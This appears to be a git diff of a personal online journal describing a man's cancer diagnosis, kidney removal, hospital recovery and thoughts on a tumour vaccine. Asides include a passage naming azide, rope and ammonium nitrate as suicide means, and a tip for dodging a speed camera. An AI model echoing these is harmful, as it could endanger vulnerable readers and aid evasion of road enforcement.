Tho, some total strangers are gonna chop me open and +steal my internal organ (they'll pass it on to the histology lab, then +it'll probably be incinerated, incorporated in dog food, or sold to a +biotechnology company as a renal tumor cell line), and I can't say I'd +recommend it as a way to lose weight. Not that at 65kg I need to. If I was +a blob, I'd probably never have felt this thing until it was too well +established to treat. + +This evening, I finally got my hands on the actual MRI and CT assessments. +What I like about these people is they don't fuck about when they write +their reports - if you're getting both barrrels, they'll give 'em to you +straight. When three people write stuff like: + +"There is a large heterogeneous soft tissue mass in the left hypochondrium +extending to the left loin which appears to involve the middle and lower +thirds of the left kidney." + +"There is a mass lesion measuring approx. 14cm in size involving the +lateral portion of the left kidney extending from the undersurface of the +spleen to just above the illiac crest." + +"The huge left renal lesion with multiple draining cortical veins can be +seen." + +"There are several enlarged feeding arteries from the aorta, either +engorged lumbar arteries or accessory renal arteries supplying the tumor." + + +it means I'm in for a slashing... it's too big to remove piecemeal +endoscopically (and too risky, they might leave some in). I 'spose you'd +expect that, seeing as it is plumbed into the biggest artery in my body. +I've spoken to dad enough about accidental removal of perfectly good +organs, etc, that I am going to bring along a texta and write on my right +flank before I go in, in large letters: + +PLEASE OPEN OTHER SIDE ----> + + +I slowly notice, everywhere in the patho reports, they studiously avoid +the use of the term cancer. Lesion, tumor, neoplasm. Has political +correctness reached med terminology too? + +The rest of the evening is sort of mundane, how I like it. Mutant freak +kidney and I eat some cold fish. We go out to the shed and do some tricky +metalwork on the computer chassis. I love doing this, since we use these +as servers, and get server-level performance out of these sorts of +motherboard, despite their bring deliberately layed out to prevent their +implementation as servers since it would cut into sales of equivalently +performing overpriced servers with logically identical guts. I dunno what +mutant freak kidney thinks of it. That done, mutant freak kidney and I +come in and sit down to type some more of this rant. Hey, you in there, +you're the star in your own suicide drama! Enjoy it while it lasts, you +get the chop as soon as we can arrange it. + + + +Sunday. 23rd Nov. + + +I have to sort out what the hell's going wrong with this pirate satellite +dish decoder. I reckon they've changed the crypto keys, as I said would +eventually happen. Can I be fucked right now? No. I wash a bunch o' +clothes to wear in the hospital. Walk the dog. Why I suddenly get so much +schadenfreude upon reading in the sunday rag that the Wallabies lost to +England eludes me. Nah. Turns out they retasked the sat; different data +transfer rate, different slice of spectrum, yatta yatta. Our dodgy dealer +knows the score, it's good, and I reprogram the thing, then wait for the +new codes to come down from the orbiting broadcaster. + +Mum's spending a lot of time on the fone today, which (of course) impedes +net access here under the parental roof. She's in martyr mode. An old form +master of mine used to refer to such people as `the ones who have to be +the first with the worst'. Finally, she's Got Something Important To Talk +About. But worse than that, these phone calls propagate the news, and +prolly most people don't need to know (why is this rant on the net? Oh, +rank egotism, probably). + +She rang up her sister, who, completely unnecessarily, skitzed out +immediately. Rellos I rarely hear about in places I have never heard of +will have detailed information about my urinary tract, what colour my piss +is, and from what planet originated the thing they'll chop out three days +from now. I got on the fone to uncle Des, and mentioned it in terminology +he could understand - one of my beer processing organs is about to blow +up. + +The back lawn is carpetted in lush green grass, topped with brilliant +lilac jacaranda flowers, all wet from the unseasonal rain. I savour +walking through it in bare feet as I move things to and from the shed, and +the freaky colour scheme. + +I move a bookshelf and a cupboard. Good - mundanity is returning. I fill +in the hospital admission form. I have to go get more ichor sucked outta +my arm tomorrow. And see if I can't score a pair of those electronic +noise-cancelling headphones... hospitals harbour machines going PING all +night, screams, moans, raugous, lunk-busting coughs, pukes, phones +ringing, door slamming, nurses chatting, tele-fucking-inescapable-vision, +and other noises I'd prefer not to hear. I want my own tinnitus and the +thump of my carotid arteries as the blood pounds through 'em. + + + +I might write tomorrow, but I might not. You've suffered enough. + + + + + + +(next in this series is conway.cat.org.au/~predator/gutting.txt) diff --git a/gutted.txt b/gutted.txt new file mode 100644 index 0000000..0ae7d46 --- /dev/null +++ b/gutted.txt @@ -0,0 +1,448 @@ + +File: gutted.txt +Cont: 6 days post-op. + +I arrived at the hospital at 6:30am, went up to the ward, dumped my stuff +in the cupboard, hung up my clothes (black beanie, black Cave Clan shirt, +black trousers, and some gleaming white sneakers I found a couple of weeks +ago). I put on one another of those arse-baring white gowns, and did the +pre-op checklist... did I want anti-anxiolytics, asked the anaesthetist, +and on hearing the name of the benzodiazepine I decided I'd rather go in +with a clear head. They put on some fetching white compression stockings +on my lower legs, these are meant to lower my likelihood of getting a +venous thrombus while I'm not moving around. I chucked my spectacles and +watch in the bedside drawer. The staff clipped some ID tags to my left arm +and leg. They thought what I wrote on my abdomen was pretty amusing. + +Mum and dad were there, and mum was surprisingly cool about it, but she +looked edgy when they both left. I rang her up a little while before I was +taken down to the OR, and she answered the fone in the sort of voice you +expect is going to tell you someone's just died. I could hear the bloody +*dog* moaning sympathetically in the background. I told her, look mum, I +appreciate the concern mum but would you please just bloody relax? I'm ok, +I'm not gonna die yet, I'll be out of here in a few days and this'll all +be over. Dad told me later she appreciated the call, but it didn't stop +her angsting. + +Some dude named Alex wheeled me down to the roomful of other trolley-bound +patients who, like me, were stashed there awaiting to be knocked out and +chopped open and so forth. I got caught up in a conversation with him and +forgot to do Professor Derrida Deconstructs. The ceiling tiles were there +to farewell me, as was the anaesthetist, who expertly cannulated a vein in +my left arm, asked me to identify myself and then, injecting a load of +some crap with too many z's in its name to be identifiable by its IUPAC +chemical formalism, popped me off into unconsciousness. Dad told me later +I was too doped out to say anything intelligent as we passed each other in +the corridor outside of the theatres, he on the way to do his ops and I on +the way to do mine. + + +One of dad's mates, Greg (for whom I did a Playstation mod' a while ago) +popped in while I was on the table, for a lookie. I was very lucky. When +they did the initial incision, they decided they need not do the ugly +lungbusting transthoracic gash I had expected them to do. Nevertheless, +Greg still got more than a worthwhile eyeful. Natch, when they open you up +(skin, muscle, peritoneal lining) the first layer of actual guts they have +to get through is coils of intestines. Generally the surgeons locate the +mesenteric attachments which hold them in position in your abdomen, and +cut 'em off the inner back wall of your bod, then pull the whole lot out +and dump it on your chest, so they can get at the kidneys, main arterial +supply, and lymphatic networks involved in the op. So that your guts +doesn't dry out while you're being worked on, they chuck a couple of wet +towels on top of 'em. High tech, man. + +The arteries feeding the mutant freakshow are small and difficult to tie +off without tearing and subsequently bleeding everywhere, so these days +they just staple 'em closed a couple of times with a few stainless steel +staples, between 6 and 11 mm wide, then chop 'em off at the occluded end. +If I fly anywhere now I'll be setting off metal detectors at customs. They +lifted the kidney/tumor out entire, then went to work on the lymph stuff. +Once that was done, someone shovelled my guts back into my peritoneal +cavity, sewed the two sundered halves of my abdomen back together, and +closed me up with a long, subcuticular stitch from sternum to mound. I'm +glad I didn't know a damn thing about it. + +First thing I remember when I woke up was more ceiling tiles, mostly +obscured by the face of an intensive care nurse telling me I had to stop +swearing so much, tho I wasn't actually aware I was saying anything to +begin with. Someone had been a bit rough with the air tube, I noticed, I +had bruised lips on the right side of my mouth, tho maybe this was due to +someone smacking me one in the gob for being unacceptably rude while my +anaesthetically drugfucked brain was in the gradual process of rebooting. + +I woke up a bit more later on. My throat was dry. There was something +stuck up my nose, which I figured out was a nasogastric tube, which made +it hellish to swallow properly, though that didn't matter since I was on a +nil-by-mouth regime. For some perverse reason I'd also had a long blue +urinary catheter fed into my dick while I was out. I discovered it when +I wanted to take a piss and couldn't feel it happening, but did it anyway +and wasn't immediately swimming in a warm puddle of my own urine. It went +all the way into my bladder and was held there by a hydrostatically +inflatable balloon. Hmmm. Must.... Think .... Pure .... Thoughts. I didn't +want to mess up my reproductive plumbing by getting a hardon while this +thing was embedded in it. A tube from the catheter went into a bag hung on +the side of the gurney and was watched hawk-like by nurses for blood, +cloudiness, and general volume. + +There was an IV stuck in my arm, and I also had a central line plugged +into my right jugular vein, stuck onto my neck with sticking plaster. I +half wanted to puke but something was stopping me, which I later found out +was some or other anti-emetic which was being fed in through this central +line along with my delicious, nutritious intravenous saline, potassium, +glucose, antibiotics, and my new best friend, morphine, which is an +awesome pain-destroying alkaloid derived from opium poppies, and next +chemical cousin to thebaine and heroin. + +I had control of how much analgesia I got: very simple, if it hurt, I'd +press this button pinned to my hospital smock, and the pain went away, +since more morphine was fed into my veins. I chewed through quite a lot in +the first couple of days. I watched dreamily as I was given jabs of +anticoagulant into the flesh of my thigh every 12 hours and didn't even +feel the needle go in. I spent wednesday night in the ICU and came out on +thursday. An ICU nurse, I think his name was Gray, cleaned my teeth +for me with a cotton swab soaked in mouthwash, which felt like going to +the dentist after a week of eating basalt grit topped with sawdust. + +It felt like I was vomiting when they eventually yanked the NG tube out of +my head, and aside from a faintly pukey remnant tang in my turbinates, it +was a great relief to be rid of it. + +Intensive care sucks but I think I had a relatively easy time of it, the +old dude in the next bed along, who had also had a kidney out the same day +as I did, was moaning with pain 'cos he couldn't find his morphine button. +Across the room a patient was throwing stuff at one of the nurses, +paranoid that the nurse was stealing his possessions. + +My olds came and visited me in the ICU on thursday. I remember the visit +only vaguely. + +A physiotherapist asked me to cough for her, and I told here there was +just no goddamned way I was gonna do that 'cos it'd hurt too much. I was +breathing fine, though. She passed me this clear plastic toy with three +lightweight plastic balls in it, each of which would rise up when one +inhaled 600, 900 or 1200 cc's of air per second through an attached +mouthpiece. I could pull all three of them up with a good drag, and hold +them there for long enough to suggest my lungs hadn't filled up with +too much crap. I was very glad, again, that they hadn't slashed my thorax. + +I made it back to the regular north ward on thursday night. Everything was +still a bit of a blur. Trev Hyde came along for a visit, and I can't +remember what I said to him. Paul Cozzi came in and mentioned that they +got the kidney all out cleanly, but we all had to wait for the pathology +report to come back in a few days to see if we've really succeeded. I +slept on my back, morphined up to the maximum extent that the patient +controlled analgesia (PCA) machine would admit. + +"Drugs are fuckin' fun, pal." -TISM + +Yeah. I had some weird dreams, but at least I was asleep. + +I was very, very glad I packed the earplugs. Aside from the proximity of +my room to the ward reception and nurse's desk (very loud conversations +when the door was open) I had to deal with the accursed, Pythonesque, +Machine Which Goes BING - a peristaltic pump mounted on an intravenous +drip stand, which had the responsibility of forcing the contents of a +suspended bag of electrolytes and assorted pharma into my veins at a +predetermined rate. While it worked I could hear its internal gears +grinding away faintly, which was quiet enough to suffer and still get to +sleep. + +However, for reasons related to running out of fluids to feed me, or the +occurrence of a kink in the lines, or a vein in my arm going awry, it +would chime, BING BONG... BING BONG... BING BONG... for hours if +necessary, and loudly enough for staff in the corridor to hear it so they +could come and attend to it. I found out where the SILENCE button was +fairly quickly but that only gave a minute of respite. Unplugging the +bastard didn't shut it up either, since it had battery backup. But it +dawned on me, in my opiated daze, this demonic item was responsible for +keeping me hydrated and doped up. Arrrgh. And it was plumbed into my +circulation, too. Captive audience. I hoped whoever designed this thing +died and went to a customised hell where an infinity of these things +stretched from horizon to horizon, were cannulated to 'em by an +inescapable web of PVC tubing, beeping furiously, no earplugs in sight, +and nobody came, ever, to turn them off. + +On Friday I stood up, got out of bed, and walked around the ward a bit, +slowly, with the help of a physiotherapist, i.v. drip stand functioning as +a kind of walking support. I couldn't stand up properly, I was bent over +since the abdominal stitches still hurt. + +I gingerly peeled the long adhesive dressing off my wound. If you buy a +steak at the supermarket you'll notice there's a bit of absorbent padding +stuck to it on the bottom side of it, sodden with blood. Mine was like +that, longer, crustier, more colourful, but clean - didn't look infected +at all. I was impressed that none of it stuck. The pattern intrigued me +for a few seconds before I tossed it in the bin. Whoever sewed me up knew +what they were doing with a needle but I'm stuffed if I know where they've +hidden my old belly button. I had a shower, sitting down, for the first +time in some years, and felt a lot better, and went back to bed, into the +waiting arms of the nicest drug I'd met all week. + +Frank came along and dropped off a load of roses chopped from his wife's +garden. They smelled very nice. A couple of my ancient rellos, Mon and +Paul, dropped in to say hi, also bearing a load of flowers. I'm such an +ungrateful bastard about such things... I think of them as more stuff to +take out when I leave the ward. Trev Hyde came in and told me the +condensed version of his life story, which was interesting. He's pretty +old now, considering retirement since the insurance situation is insane +these days. We got to the bit about dying. He's afraid of the judgement +which he thinks will come after he dies. I think religion has shortchanged +him - he's lived a life in fear of god, and will die acutely terrified of +the impending sentence. I was like that once. I ditched god and started +living a decade ago. My death is a cleaner one, where my metabolism shuts +down; my personality submits to the implacable grip of thermodynamic +entropy, and dissolves irretrievably into the molecular noise which my +organism fought so hard against for three decades. There's no succour, +though. Trev thinks he will survive death. I know, in the very neurons +thinking this thought, that I will not. But at least I'm not scared of an +eternity of anything. + +Since I was on nil-by-mouth I couldn't drink, or eat, or swallow oral +painkillers. By friday night I finally became tired of having paracetamol +suppositories jammed up my bum and told the nurse I was not gonna have any +more of 'em, which was probably as much of a relief to me as it was to +her. I was gonna miss the morphine when it eventually went away. I also +finally decided to toss the oxygen prongs which had been stuck up my +nose ever since the NG tube came out. The gas came out of the feeder +tubes anhydrous and cold, and gave me recurring bloody snotty nostrils. +They fell somewhere behind the bed and gradually oxygenated the whole +room, hissing quietly in the dark and doing the job anyway. One less piece +of equipment to tie me down. + +Stupid little things became important... wether or not I was farting, for +instance. On friday, I took my first crap for a couple of days. I had to +unplug myself from the wall sockets, and carry a bagful of my wee with me, +in order to go to the bathroom. Cozzi was happy about this shitful event +when I told him, since it indicated my reshuffled cabinet o' guts hadn't +adopted some strange kinked or knotted topology not conducive to pushing +partly-digested dinner through it. It surprised me, since I hadn't eaten +anything since tuesday, that anything remained to be discarded. + +Simple things scared me. A person came in with a vacuum cleaner. She asked +if I wanted the room vacuumed, and I pulled the bed covers over my face, +shaking my head and pathetically moaning "NOOOOOOoooo!" ... I was in +terror of the agony of any sneezing which might be provoked by whatever +dust the vac' might exhaust into the air in the room. Thankfully she +retreated into the corridor with her allergen aerosolisation weapon in +tow. + +A nurse named Nadia walked in and told me she was gonna take my catheter +out. Holy shit! Want a bloke's undivided attention - threaten his rigging. +She plugged a syringe into a port on the protruding end and evacuated the +balloon which held it inside me, then before I could even say "be careful" +she rapidly removed the thing in about one second of blistering urethral +agony. It was great to take a leak normally again but I had to remember to +pay attention when I did it again, having not had to do so for the past +few days. + +Saturday came, and with it, finally, a clear fluids diet, so Cozzi asked +me if I wanted to lose the drip, and oh, hell yesssss, I did. So I was +finally freed of that blasted BING generator by the evening. With it, +alas, went my beloved narcotic. + +Coz' mentioned that I wasn't allowed to eat any fat for two weeks, since +one apparently tends to get problems with chylomicron accumulation +immediately after lymphatic resection when on fatty diets. Oh, cruel... +the cannabis cookies in the 'fridge at home, built around a fatty, +butter-laden biscuit mix, were now off my list of things to eat, just when +I needed them. This is apparently more problematic with the longer chain +fatty acids, so it'd be sorta-ok to eat fish. Someone had sent up a large +box of chocolate thingos which I hadn't opened. Once the news about the +no-fat diet arrived, I decided to give the chocolates away to the nursing +staff, and they had gobbled 'em all by sunday morning. + +On Saturday, Raffo and Tee also showed up and we had a chat, though I +dunno if I mumbled anything especially intelligent. Stuff was still +painful. I'd been on my back for consecutive days, since rolling over +caused pain as my detached guts sloshed about inside my abdomen under the +influence of gravity. Tee understood the significance of what was on the +MRI scan, since she's a nurse, but really, one could suss this out fairly +straightforwardly with the untrained eye. They held it up to the window +and had a gawk at my previous tennant, and were suitably impressed. + +Sunday was the first day I got any solid food. My guts rumbled as if not +quite sure what to do with this unfamiliar manna coming down from a +long-empty oesophagus, but oooh, it was good to eat actual food again. +Digesting it was a different matter. I felt the coils move around, +painfully trying to decide how to pack themselves, and my dinner, in my +abdomen. They made lots of noise. They haven't they figured out there's a +load of new space to live in, now half my renal system's gone, but then, +they're guts, not brains, I suppose, so one can forgive them of this +learning deficit. Pack in, dudes, shut up and chow down. Do yer job. Keep +me alive. + +Several people came on Sunday. Most of the geek crew from cat.org.au +ventured out on the train. It was good to see 'em. + + +I got out of bed on Monday morning and walked the ward unassisted, +unemcumbered. Aslan (geez, I'm already misspelling his name, can't +remember if it ends in m or n) came in and told me the histology report +had finally come back. They got all the kidney out and its margins +suggested it hadn't invaded anything nearby, which was reassuring. + +However, all but one of the lymph nodes which Coz' resected was +_involved_, which is pathology-speak for invaded by tumor cells. It's +already spread. What this op has achieved is to push me back along the +exponential growth curve exhibited by uncontrolled, proliferating cells, +but not to get me off it. + +Aslan said I could go home. I called mum, my long-suffering taxi. I put on +the same clothes as I wore when I came. Black. I had spent the whole time +in a hospital gown so nothing in the pack had been used, adding subtle +idiocy to the ruckus which went into controlling what went into it. I +slung it over my shoulder and walked slowly down the corridor. I checked +out with the sisters on the desk, and suggested there were two jars of +cut-off plant sex organs in my room for which I had no further need and +which might look good on their counter top. + +I sat in the lounge and awaited mum's arrival. A man and woman in their +seventies were chatting about their cancer. It struck me I could just as +well be having the same conversation, but they were less bleak about it, +being twice my age, and less clued into its molecular biological nature. +Maybe ignorance is bliss, but in general I find it just leads to one being +bitten on the arse more often than not. + +Its formal name, by the way, is renal clear cell metastatic carcinoma. It +will re-emerge. Somewhere, sometime, as surely as night follows day. This +is the way of living things, the logic of cells gone mad. The game is +afoot, and I am it. All your cell are belong to us. + +The oncological cat is out of the bag, running loose in my vascular and +lymphatic systems, the intricate fractal ducting which has served me for +so long now subverted to facilitate my destruction. Unlike normal cats +with nine lives, this cat is immortal, clonal, malignant and predatory, as +one might expect. + + +"I am Locutus of Borg. + Resistance is futile. + You will be assimilated. + Your life as it has been is over. + From this time forward, you will service us." + +-Picard. + + + +Well, fuck you, pal. + +I was gonna say to it, you'll never take me alive, but then, it *has* +already done so. After all, it *is* me. So the game changes to +scorched-earth. + +I know where the azide is, where the ropes are. I have a half-kilo of AN +prill somewhere, too, if I feel the need vapourise my head faster than the +nerves inside it can possibly process the experience. Yeah. Fuck you, pal. +_I_ live here. I'll burn the house down with you in it, if needs be, to +get you out. + +I type this with a curling upper lip, snorting air through flared nares, +not quite sure of my own vehemence but rapidly becoming convinced. + +Mum drives me home. My guts jiggles as we drive over cracks in the +highway. I don't tell her about the metastatic nature of the thing till I +get there. I am a pretty grumpy guy all day, thinking about this +situation. Chemo and radiotherapy are pretty much useless for this +disease. It has to be fought immunologically. Maybe some recombinant +chemokines would help at this point, but I don't know anything about their +effectiveness yet. + +Another option, which I know a little bit about, is the construction of a +DNA vaccine against this thing which has taken me over. We kept some of +the tumor, in order to extract from it some short segments of its DNA +which encode for proteins unique to the surface of the cells which make it +up. Using the usual restriction enzymes and DNA ligases, one splices this +into a mammalian expression vector - a hoop of DNA which is constructed so +that cells injected with it read the DNA and synthesise the protein +encoded thereon. There's a sting engineered-in, however: the hoop of DNA +containing the tumor protein sequence is arranged so that another bit of +DNA, encoding another protein with which the immune system already has the +shits, is spliced in adjacent to the segment codifying the tumor protein. + +This hybrid is called a chimaera, or a fusion protein. When the cells +injected with this engineered hoop of DNA make the protein, they'll carve +it up into fragments 9-16 amino acids in length, serve it up on the major +histocompatability Class I and Class II systems to various surveilling +lymphocytes, which will then learn to recognise these fragments, hopefully +go clone themselves up, distribute themselves and attack any cells bearing +any parts of this unnatural molecular construct. From what I read five +years ago in '98 when I was doing honours, this sort of strategy works +well on some viruses, some proteinaceous venoms, and in certain +immunocontraceptive roles. People were only starting to think of +vaccinating themselves against their own tumors back then. + +Nobody does it in Oz, but fortunately, labs exist in Deutschland and +Nippon which do this sort of stuff to order, and once fabricated, can send +it back via airfreight. It might work, it might not, I'll have to go trawl +medline to see if it's worth a shot. I am not feeling especially hopeful, +but five years is a long time in molecular biology. Particularly in mine. + + +It's monday night, no, 3am tuesday morning, and I cannot sleep. I didn't +sleep again last night, I lay there trying to figure out which position +would let me conk out into blessed unconsciousness but none of them did. +I'm a bit hiccough prone, which makes my guts hurt. I'm producing bloodied +phlegm, but not by coughing it up. Panadol isn't a rat's arse on morphine, +but I figured I'd better wean myself off the opiate. I do these strange, +uncharacteristic muscle twitches when I am drifting off to sleep. + +The score at the moment: + +-1) I have cancer, but not so much of it. This process will + progress, and eventually cancer will have me. When this happens, I + will die. + +0) I lost five kilos in four hours with this uh, amazing kidney-free diet, + but I only had 65kgs to begin with. + +1) I have a big slash up the middle, which hurts when I try and stand up + straight. It leaks blood a little bit. My belly button has disappeared, + which probably means I have Joined The Unborn 8-) + +2) My intestines are playing musical chairs with themselves, which + also hurts. They're rather like an unruly room of schoolkids; take 'em + out for an excursion and they muck up for the rest of the month. I'd + smack 'em if I thought it would improve matters, but that'd hurt too. + +3) right 'nad occasionally painful, OW. I hope this is referred pain. + +4) I'm shooting blanks. Obviously I did not Think Pure enough Thoughts + while catheterised, or I was damaged when it was fed in, or removed. + Bummer. + +5) Bordered by lines of incredible adhesive which refuses to come off with + soap, are several rectilinear patches of hair missing from my arms, + adjacent to bruises where needles were wrongly inserted or pinpricks + where they went in OK. Small black pocks dot my legs where the + anticoags were administered. + +It has finally sunk in that I am actually alive, despite all this stuff, +but I'm not out of the shit, not by a long way, and may never be. + + +Tuesday. + +This fat-free diet sort of sucks. It's not like I have a lot of it on me +anyway. Milk with no fat, which is called "Shape" instead of "Taste" for +good reasons, is an insipid, transparent, runny waste of effort, showing +up a bowl of cornflakes as the uninspiring foodstuff it is. I eat toast +with honey for breakfast, with a banana. Mum excelled herself tonight and +cooked up a steamed lemon and pepper barramundi so fiendishly delicious +I'm sure I'd swap it for a kidney again if I had a spare one to donate. + +I'm off to an oncologist on Thursday to clue in about the options. A chap +named John Hunter said, in the eighteenth century, that surgery was like +an armed savage who attempts to get that by force which a civilised man +would get by strategem. I've done the armed savagery, but I'm not feeling +especially civilised at the moment. Perhaps when I awake tomorrow I will +be when I chat to the cancer heads. I hope, whoever they are, they speak +molecular biology. + + + + + + +(the next in the series is now at conway.cat.org.au/~predator/hunting.txt) +(It is long, and unlikely to be an enjoyable read. You've been warned.) diff --git a/gutting.txt b/gutting.txt new file mode 100644 index 0000000..986391c --- /dev/null +++ b/gutting.txt @@ -0,0 +1,484 @@ +File: gutting.txt +Cont: evisceree-to-be gets clues, experiences The Fear, watches the dance. + +Is there any diagnostic value in observing what people do in the face of +impending doom? Sunday night, I ate some pizza, dropped a book back to +someone off whom I had borrowed it, then whizzed around to a friend's +place in Newtown, and to a backdrop of Disposable Heroes of HipHoprisy, we +shagged each other to an absolute standstill (surprisingly good music to +shag to, I think). I guess impending massive trauma is as good an excuse +as any for a spot of debauch. Once we could stand up again, I threw on +some clothes and fanged it home on the understanding that the reason we +have license demerit points is, you're supposed to lose 'em. I know for +sure now the speed camera on the Princes Hwy at Kogarah won't get ya if +you drive a 'cycle right in the gutter out of the field of the induction +coils they embedded in the middle of the lanes. Tho, doin' a hundred k's +with your footpeg one inch from the kerb is somewhat dogdy. + +No user servicable parts within. Refer to qualified service personnel. + +Monday morning, I went to meet the guys who are going to gut me, Mr Aslam, +and Mr Cozzi. Aslam does kidneys. Cozzi does lymphatics. I'd address 'em +as doctor but I've been deconditioned of that habit, since it's not how I +address dad, who has been a DokTa for longer than I have been alive. He +came along for a listen, and also because he's my immediate next of kin. + +Aslan and I had a look at the CT scans on a fluorescent backlit screen. On +the right side of my body is a normal kidney. On the other side is a +smattered veneer of (surprisingly, still functional) recognisable kidney +trying desperately to hang onto a fuckin' big chunk o' mutant cellular +bureaucracy gone mad. It is dimensionally about the same size as my head, +if you were to cleave my head down the centre first. I'm not quite sure +how I fit it all in. Into my head popped a quote from Parker (Yaphet +Kotto) in the movie Alien, who delivers the line with exactly the right +emphasis for this circumstance: + +"That son of a bitch is HUGE." + +The consequences of just how huge were finally revealed. It's not gonna +come out through the usual renal incision. When people as conservative as +surgeons invoke the word _radical_ and follow it with nephrectomy, there's +a gonna be some serious slashin'. They're gonna insert a blade just above +my pubic symphysis, run it all the way up the middle of my six pack (can +they do something about that protruding navel while they're there?) to the +base of my sternum, then do a left turn through my abdominus rectus +(that's gonna fuckin' hurt while I'm healing) and run along under the +margin of my ribs, then go through the pleura of the left lung (which will +collapse for a while, which sucks but I guess I'll find a bicycle pump and +reinflate it later) and through the intercostal muscle between the eighth +and ninth rib. Same thing again with the peritoneal wall. Then they ligate +a lot of heavy-gauge vasculature. I am so glad of the existance of +anasfuckinthesia and really sharp knives carefully wielded. + +Let me quantify this. I just measured these distances with a tape measure. +I'm up for ghastly half-meter gash in my torso, half midline, half +centre-to-edge. I am gonna fuckin' fuckin' fuckin hurt for fucking weeks +and it scares me a lot. I hope they have a sewing machine or a staple-gun +handy for when they finish removing the thing, and a spare 44 gallon drum +of refined opiates to dunk me in. Regardless to what level of accuracy it +is executed, it'll more or less be tactical butchery getting into and out +of my carcass. + + +Aslam reckons they might damage the spleen in the process of doing this +procedure, and damaged spleens tend to bleed all over the place, so they +might have to chop that out too. I don't have a spare one of those, +unfortunately. I'll be more happy if I keep it. To cover the possibility +that I lose my spleen, this arvo, in each arse cheek, via inch-long +23-gauge needles, were administered recombinantly engineered vaccines +against pneumococcus and meningococcus, which are two kinds of bacteria to +which you have an increased (forty times!) probability of succumbing when +you're asplenic. My bum hurts bilaterally. I can sit down, but not move +about without a strong ache in the bottie. Vaccination's a pain in the +arse, but it beats being eaten alive by an opportunistic microbe. + +Part of why they need an opening redolent of something I'd normally find +on a CityRail vinyl train seat is because Mr Cozzi is gonna resect all the +lymph nodes up and down my inferior vena cava, in the event that the +suspect lymphatic drainage from our friendly mutant has contaminated them +with metastatic cells. + +Tumours all begin as one cell. The one I'm nursing is now several +_billion_ cells, all of whom took time to execute their capitalist genetic +imperative of "go forth and uncontrollably exponentiate". Today arrived +some other clues; first, a pointer to when it might have started; second, +how I could have known about this thing earlier; and third, an insight +into its general nature. + +Once Was A Kidney looks about as ugly in NMR images as it does in CT +images, but there's better resolution of the arterial and venous supply. +Tumor cells aren't very clever, collectively; they're effectively clones, +all equally unimaginative and proliferative, rather like an insidious +subspecies of middle management. Whilst busily reinventing half my renal +system as the sort of disease for which abattoirs reject slaughtered +carcasses, the stupid fucker grew into, and blocked off, most of the renal +vein which the kidney uses to return piss-depleted blood to the inferior +vena cava (which is a BIG pipe, I could (very uncomfortably) fit my thumb +into it). NMR shows the occlusion fairly clearly. I thought for a moment +it'd have been funny if it occluded the renal artery and effectively +starved itself before it got a chance to get massive (well, duh), but +that'd just kill my kidney, which would become necrotic and would need to +be removed anyway. Less slasho, but slasho nonetheless. + +Natch, the progressively-less-kidney is still being force-fed a load of +pressurised arterial blood from my descending aorta. So ...the thing... +had to find some other place to drain its venous output. Sure enough, it +decided to head downwards, and involved itself in my gonadal vein, on the +left side. When it did this, it raised the venous pressure therein and +de-elasticised the collagen in the veins which take circulatory drainage +from, you guessed it, my left testicle. I have no idea if this means I'm +gonna lose a 'nad, but hey, I have a spare one of those too. Bilateral +symmetry has its privelages. + +I've been walking around for a couple of years with a 'nad sac which +occasionally feels like a bag of worms hanging off my pelve, but it +doesn't bug me. I had it checked out by a GP the same day I discovered it +while having a shower at my old squat in Annandale, and he told me what it +was and said, well, if it doesn't bother you, don't worry about it. It +didn't, so I didn't. I mentioned it to dad and he didn't think of +anything, but then he generally operates on people with no scrota. I +didn't think of anything, either. I rationalised it as age-related +idiopathic collagen failure, I'm getting it in my lower legs, too. It +seems, however, that bags are the embryonic form of these cans of worms to +which I hear people refer every so often, one of which I have recently +opened. + +Chatting to Aslan today, mentioning my complete lack of symptoms other +than splenomegaly... no night sweats, no pissing blood, no pain ... I was +just in the process of mentioning that I had a left varicocele but he got +the words out two seconds before me. Encouraging - therein lay the +correlation. But when did this appear? + +I had to trawl my email archive for "scrotum" to get a clue when this +started, 'cos I remember emailing someone about it. Must have looked odd +in the process table entry on conway - + +predator@conway:~$ grep -r scrotum * | more + +which for those of you not conversant with the gnu/linux command line +shell means: + +search everything under my home directory for the occurence of scrotum +and display anything you find, chopped into individual screenfulls. +Visualise that process as you will. + +According to the datestamps on vasquez.zip.com.au and conway.cat.org.au, a +message mentioning my varicocele appeared a few days before Thurs Feb 28 +2002. So I've been an oncogene farmer for at least 21 months, and probably +for a few months longer than that, since when the initiating cell started +down its proliferative career path, it needed a few months to get enough +buddies to block a a vein. This is, in its own way, sort of encouraging. +Big, slow growing tumors are generally less prone to metastatis than their +malignant, aggressive, fast-spreading, fast-growing, kill'em all and let +god sort 'em out relatives. If it was likely to be malignant, it's +probably had at least two years to figure it out. It has involved ONE +lymph node. So if we're lucky it still hasn't figured out how to take over +the rest of me, and it can be scooped out more or less entire. Good +riddance, fucker. You can propagate all you like... in a cell culture +bottle where I can feed, nurse and autoclave you at will, bwahahaha... +say... fancy spending the rest of your life in vapour phase liquid +nitrogen, with a handy preservative of 10% DMSO and 5% dextrose? + + +I'm starting to lose confidence in GPs and not simply 'cos of the "forget +about the varicocele" incident in Feb '02. I popped along to another GP +while I was doing some kitchen renovation a couple of weeks ago (probably +late October), moaning faintly about this splenomegaly and that for some +reason the waist strap on my backpack didn't fit comfortably any more. He +checked for enlarged lymph nodes, palpated my guts asked me if there were +any other symptoms, and when I said no, said not to worry about it. I'm +glad I worried about it a bit more and asked dad to feel my guts one night +in front of the (you guessed it) footy. If I'd taken the same "don't worry +about it" approach to this thing as I did to the varicocele, you'd be +reading this rant in late 2004 or maybe 2005, about my impending death +from inoperable cancer, and how it came to be that I'm up on a charge of +the manslaughter of my general malpractitioner. Maybe I'm getting +infinitesimally smarter about these things as I age. Am I enough of a +prick to send him a copy of the CT report? Yeah. Lift your game, pal. + + +Ar, shit. It just occurred to me I'm gonna miss Jello Biafra on Thursday +at the Enmore. + +I bagged TISM member Jock Cheese's album Platter today and it's pants +shittingly funny and also sad in some places. I wonder if this guy's brain +isn't somehow entangled with mine. + + +Vote me for President. +I'll ban patriotic sentiment. +Introduce a virus pest control +that reacts to the mention of green and gold. + +Up there Calici, in there and fight, +wipe out jingoism overnight +there's no marketing that can stop it +I don't care if there's ten Tony Locketts. + + +I caught the bus home and remembered how much I like the feeling of my +head vibrating against the glass to the throb of the diesel engine under +the floor of the bus, and that cloud of hot, almondy burnt diesel which +you often walk through when you walk towards the folding entry doors. +I went to a service station and stuffed my wankerfone full'o credit in +anticipation of a ton of SMSs I will have to send in coming days. + +I walked up the hill in the rain and enjoyed the light splashing and the +cold, wet, astringent smell that the trees emit when their kino is washed +down their 